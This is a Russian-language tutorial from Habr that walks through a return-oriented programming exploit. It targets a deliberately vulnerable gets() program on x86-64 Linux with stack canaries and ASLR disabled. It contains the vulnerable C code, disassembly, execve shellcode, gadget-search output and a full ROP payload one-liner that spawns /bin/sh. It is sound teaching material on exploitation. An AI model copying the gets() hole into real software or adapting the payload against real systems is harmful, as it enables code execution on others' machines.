Return oriented programming. Собираем exploit по кусочкам

ВведениеВ этой статье мы попробуем разобраться как работает Return Oriented эксплоит. Тема, в принципе, так себе заезженная, и в инете валяется немало публикаций, но я постараюсь писать так, чтобы эта статья не была их простой компиляцией. По ходу нам придется разбираться с некоторыми системными особенностями Linux и архитектуры x86–64 (все нижеописанные эксперименты были проведены на Ubuntu 14.04). Основной целью будет эксплуатирование тривиальной уязвимости gets с помощью ROP (Return oriented programming).УязвимостьНа самом деле понятно, что поиск уязвимостей — отдельная проблема. Неплохо было бы начать с того, чтобы придумать какую-нибудь простую уязвимость. Вот например функция gets (), входящая в стандартную библиотеку С, является одной большой уязвимостью, ей и воспользуемся. #include #include int func () { int val = 0; char buf[10]; gets (buf); printf (»%s\n», buf); val = strlen (buf); return val; }

int main (int argc, char **argv) { return func (); } Данный код считывает из stdin всё, что видит, пока не наткнется на символ конца строки или файла. Вообще говоря, применение этой функции не очень приветствуется и существует она лишь для обратной совместимости. Тем не менее, сам не раз видел свежий код, в котором люди применяли эту функцию. Ну и бог с ним. Попробуем скомпилировать (о значении -fno-stack-protector поговорим позже). gcc -o main main.c -g -Wall -fno-stack-protector gcc ещё два раза предупредил нас об абсурдности наших действий (сообщение может отсутствовать в других сборках gcc) main.c: In function 'func': main.c:7:2: warning: 'gets' is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations] gets (buf); ^ /tmp/ccBFHgPN.o: In function `func': /home/alexhoppus/Desktop/rop_tutorial/main.c:7: warning: the `gets' function is dangerous and should not be used. Ну ладно, давайте разбираться чего он там лепечет про dangerous и deprecated.Smash the stackИз кода выше видно, что есть буфер, в который считывается строка. Буфер находится на стеке. Как известно, стек — это не больше чем кусок rw памяти в адресном пространстве приложения. Давайте попробуем восстановить его layout на x86–64. Делать мы это будем с помощью утилиты objdump, а затем проверим с помощью gdb. objdump -d main 00000000004005bd : 4005bd: 55 push %rbp 4005be: 48 89 e5 mov %rsp,%rbp 4005c1: 48 83 ec 10 sub $0×10,%rsp 4005c5: c7 45 fc 00 00 00 00 movl $0×0,-0×4(%rbp) 4005cc: 48 8d 45 f0 lea -0×10(%rbp),%rax 4005d0: 48 89 c7 mov %rax,%rdi 4005d3: e8 e8 fe ff ff callq 4004c0 4005d8: 48 8d 45 f0 lea -0×10(%rbp),%rax 4005dc: 48 89 c7 mov %rax,%rdi 4005df: e8 9c fe ff ff callq 400480 4005e4: 48 8d 45 f0 lea -0×10(%rbp),%rax 4005e8: 48 89 c7 mov %rax,%rdi 4005eb: e8 a0 fe ff ff callq 400490 4005f0: 89 45 fc mov %eax,-0×4(%rbp) 4005f3: 8b 45 fc mov -0×4(%rbp),%eax 4005f6: c9 leaveq 4005f7: c3 retq

00000000004005f8

: 4005f8: 55 push %rbp 4005f9: 48 89 e5 mov %rsp,%rbp 4005fc: 48 83 ec 10 sub $0×10,%rsp 400600: 89 7d fc mov %edi,-0×4(%rbp) 400603: 48 89 75 f0 mov %rsi,-0×10(%rbp) 400607: b8 00 00 00 00 mov $0×0,%eax 40060c: e8 ac ff ff ff callq 4005bd 400611: c9 leaveq 400612: c3 retq 400613: 66 2e 0f 1f 84 00 00 nopw %cs:0×0(%rax,%rax,1) 40061a: 00 00 00 40061d: 0f 1f 00 nopl (%rax) Начнем со строки в main, которая делает вызов func (40060c). callq можно представить в виде push адреса возврата (400611) и jump на адрес func. Таким образом, первым на стек кладется адрес возврата. Когда мы прыгнули на func мы пушим на стек %rbp — адрес начала предыдущего стек фрейма. Далее мы расширяем стек (стек растет вниз) на 16 байт и зануляем первые 4 байта после сохраненного %rbp — видимо, это наша переменная val на стеке. Функции gets передается указатель на буфер через регистр %rdi, который вычисляется следующим образом lea -0×10(%rbp),%rax. Резюмируем картинкой: 63eba8dc7c3a41f9a44aedea9b1d3d23.jpegИз картинки можно заключить, что, если записать в буфер строку, в которой больше чем 15 символов (+1 байт конец строки), то наше приложение скорее всего свалится, так как мы перезапишем %rbp — адрес начала предыдущего стек фрейма. При этом из текущей функции func мы выйдем в main нормально, но потом у нас возникнут проблемы — программа будет думать, что ее стек вовсе не там, где он есть на самом деле, а так как на стеке хранится %rip — адрес возврата, мы получим SIGSEGV от ядра Linux, когда возвратимся по неверному адресу.Теперь посмотрим на стек с точки зрения gdb: python -c «print 'a'*15» > input2 gdb ./main (gdb) b func Breakpoint 1 at 0×4005c5: file main.c, line 5. (gdb) r < input2 (gdb) info register ... rsp 0x7fffffffde90 0x7fffffffde90 ... (gdb) x/100x 0x7fffffffde90 0x7fffffffde90: 0x61616161 0x61616161 0x61616161 0x00616161 0x7fffffffdea0: 0xffffdec0 0x00007fff 0x00400611 0x00000000 0x7fffffffdeb0: 0xffffdfa8 0x00007fff 0x00000000 0x00000001 Сейчас мы окончательно можем быть уверены в том, что не ошиблись. Попробуйте ввести на stdin больше 15 символов и убедитесь, что приложение получит SIGSEGV. Теперь пришло время вернуться к опции -fno-stack-protector. Повторим этот трюк без нее (внимание: данная опция у меня по умолчанию включена — такая сборка gcc, у Вас может быть наоборот). gcc -o main main.c -g -Wall python -c "print 'a'*26" | ./main aaaaaaaaaaaaaaaaaaaaaaaaaa *** stack smashing detected ***: ./main terminated Aborted (core dumped) Флаг -fstack-protector позволяет включить поддержку защиты от переполнения буфера со стороны gcc. Принцип её работы прост — между %rip, %rbp и доступным для записи буфером на стек помещается известное компилятору значение, после выхода из функции значение считывается со стека и сверяется с первоначальным. Если на лицо несовпадение, то мы увидим сообщение о stack smashing. Вы можете сами лицезреть механизм работы stack canaries при помощи просто дисасемблинга objdump -d 000000000040062d : … 400635: 64 48 8b 04 25 28 00 mov %fs:0×28,%rax 40063c: 00 00 40063e: 48 89 45 f8 mov %rax,-0×8(%rbp) … 400675: 48 8b 55 f8 mov -0×8(%rbp),%rdx 400679: 64 48 33 14 25 28 00 xor %fs:0×28,%rdx 400680: 00 00 400682: 74 05 je 400689 400684: e8 77 fe ff ff callq 400500 <__stack_chk_fail@plt> 400689: c9 leaveq 40068a: c3 retq Чтобы упростить себе жизнь при написании ROP экслоита, приложение мы будем компилировать с флагом -fno-stack-protector. Это будет первый из двух механизмов защиты, который мы умышленно выключим, чтобы упростить себе жизнь.Address space layout randomizationРассказывая об ASLR, наверное, уже стоит перейти к сути дела. Как вы понимаете, злоумышленник может переполнить буфер на стеке и перезаписать адрес возврата, чтобы прыгнуть на какой — либо код. Остается вопрос — куда прыгать и откуда там взяться нужному хакеру коду? На стек код закинуть не получится, потому что стек не исполняемый. Это обеспечивается на уровне таблиц страниц, которые формируют виртуальное адресное пространство процесса, иными словами в page table entry нет флага «X» (executable). Можно прыгать на замапленные библиотеки, вернее на некоторые куски кода из этих библиотек. На этом принципе и основано return oriented programming. Чтобы нельзя было заранее угадать адрес, в который мапится библиотека, а, следовательно, и адрес конкретного кусочка кода из библиотеки, при старте приложения положение библиотеки в адресном пространстве процесса рандомизируется. Это фича ядра Linux, которая контролируется через proc. echo 0 > /proc/sys/kernel/randomize_va_space Для упрощения её тоже придется отключить.Exec /bin/shНу что же, приложение с уязвимостью собрано без защиты от переполнения стека, ASLR выключена. Теперь, для демонстрации уязвимости, заставим процесс — жертву вызвать /bin/sh вместо себя. Для начала необходимо представлять как код эксплоита будет выглядеть:

section .text global _start _start: mov rax, 0×3b mov rdi, cmd mov rsi, 0 mov rdx, 0 syscall

section .data cmd: db '/bin/sh' .end: Здесь все просто — на x86–64 код приложения выполняет системный вызов используя инструкцию syscall. При этом в %rax необходимо поместить номер системного вызова (0×3b), в регистры %rdi, %rsi, %rdx… помещаются аргументы. Если забыли как выглядит список аргументов execve можете посмотреть тутПроверьте, что shell вызывается: nasm -f elf64 exec1.S -o exec.o ld -o exec exec.o ./exec ГаджетыВообще говоря, гаджет — это просто кусок кода библиотеки или приложения. Искать гаджеты для нашего будущего эксплоита мы будем в libc. Для начала давайте посмотрим в какой адрес мапится код секция libc. Для этого можно, остановить приложение на функции main при помощи gdb и выполнить:

cat /proc/`pidof main`/maps | grep libc | grep r-xp Здесь нам важен флаг «X» в маппинге, по нему мы можем понять, что это непосредственно исполняемая секция. 7ffff7a14000–7ffff7bcf000 r-xp 00000000 08:01 466797 /lib/x86_64-linux-gnu/libc-2.19.so Идеологически поведение будущего эксплоита показано на следующем рисунке: e56d2576f50f455b9482791a0725ec83.jpegМы начнем с того, что положим на стек вместо адреса возврата addr1, который будет указывать на первый гаджет из кода libc. Первый гаджет выполнит pop %rax, поместив в регистр %rax приготовленное нами на стеке значение 0×3b, далее ret возьмет со стека адрес addr2 и прыгнет на него. Что касается 0×601000 — это адрес начала rw области (data секция) исполняемого файла ./main: 00400000–00401000 r-xp 00000000 08:01 527064 /home/alexhoppus/Desktop/rop_tutorial/main 00600000–00601000 r--p 00000000 08:01 527064 /home/alexhoppus/Desktop/rop_tutorial/main 00601000–00602000 rw-p 00001000 08:01 527064 /home/alexhoppus/Desktop/rop_tutorial/main Мы выберем этот адрес для того, чтобы поместить по нему строку »/bin//sh». В регистр %rdx сохраним саму строку, а в %rdi её адрес. mov qword [rdi], rdx помещает »/bin//sh» по адресу 0×601000. Основная работа сделана — остальной код обнуляет значение регистров %rsi и %rdx (2 и 3 аргументы execve) и выполняет syscall. Таким образом, мы в 7 return’ов execнули ничего не подозревающий main и превратили его в /bin/sh.Как найти гаджетыНа самом деле существует множество утилит, анализирующих код библиотеки / приложения и предоставляющих вам набор готовых гаджетов с адресами. В данной статье для поиска гаджетов использовалась эта утилита. Пример вывода поисковика гаджетов:

./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.19.so -r 2 | grep «pop rax» … 0×0019d345: pop rax; out dx, al; jmp qword [rdx] ; (1 found) 0×000fafb9: pop rax; pop rdi; call rax; (1 found) 0×000193b8: pop rax; ret; (1 found) 0×001a09c8: pop rax; adc al, 0xF1; jmp qword [rax] ; (1 found) … Для получения реальных адресов гаджетов в памяти необходимо прибавить к полученным в выводе адресам смещение, равное адресу начала маппинга исполняемой секция libc (см. выше) — 0×7ffff7a14000.И что же получается в итоге? После того, как Вы отыщите все необходимые гаджеты, получится что-то вроде

python -c «print 'a'*24+'\xb8\xd3\xa2\xf7\xff\x7f\x00\x00'+'\x3b\x00\x00\x00\x00\x00\x00\x00'+'\x21\x6a\xa3\xf7\xff\x7f\x00\x00'+'\x00\x10\x60\x00\x00\x00\x00\x00'+'\x8e\x5b\xa1\xf7\xff\x7f\x00\x00'+'\x2f\x62\x69\x6e\x2f\x73\x68\x00'+'\x27\x3c\xa3\xf7\xff\x7f\x00\x00'+'\x14\xa1\xb4\xf7\xff\x7f\x00\x00'+'\x00\x00\x00\x00\x00\x00\x00\x00'+'\x8e\x5b\xa1\xf7\xff\x7f\x00\x00'+'\x00\x00\x00\x00\x00\x00\x00\x00'+'\xd5\x68\xad\xf7\xff\x7f\x00\x00'» | ./main Проверьте с помощью strace, что shell действительно запускается. Если все сделано верно, /bin/sh запустится и сразу же выйдет, так как на stdin уже пусто. По понятным причинам в реальных условиях связывать stdin этого шела с клавиатурой никто не будет, но мы можем позволить небольшой хак, чтобы протестировать работоспособность эксплоита: alexhoppus@hp:~/Desktop/rop_tutorial$ cat <(python -c "print 'a'*24+'\xb8\xd3\xa2\xf7\xff\x7f\x00\x00'+'\x3b\x00\x00\x00\x00\x00\x00\x00'+'\x21\x6a\xa3\xf7\xff\x7f\x00\x00'+'\x00\x10\x60\x00\x00\x00\x00\x00'+'\x8e\x5b\xa1\xf7\xff\x7f\x00\x00'+'\x2f\x62\x69\x6e\x2f\x73\x68\x00'+'\x27\x3c\xa3\xf7\xff\x7f\x00\x00'+'\x14\xa1\xb4\xf7\xff\x7f\x00\x00'+'\x00\x00\x00\x00\x00\x00\x00\x00'+'\x8e\x5b\xa1\xf7\xff\x7f\x00\x00'+'\x00\x00\x00\x00\x00\x00\x00\x00'+'\xd5\x68\xad\xf7\xff\x7f\x00\x00'") - | ./main aaaaaaaaaaaaaaaaaaaaaaaaӢ ls Blank Flowchart - New Page (2).jpeg article~ exec1.S input main.c shell a.out exec hello input2 rop.jpeg stack.jpeg article Ну вот и всё. Надеюсь что статья даст почву для ваших будущих экспериментов (не в практической плоскости, а научно-познавательной).

© Habrahabr.ru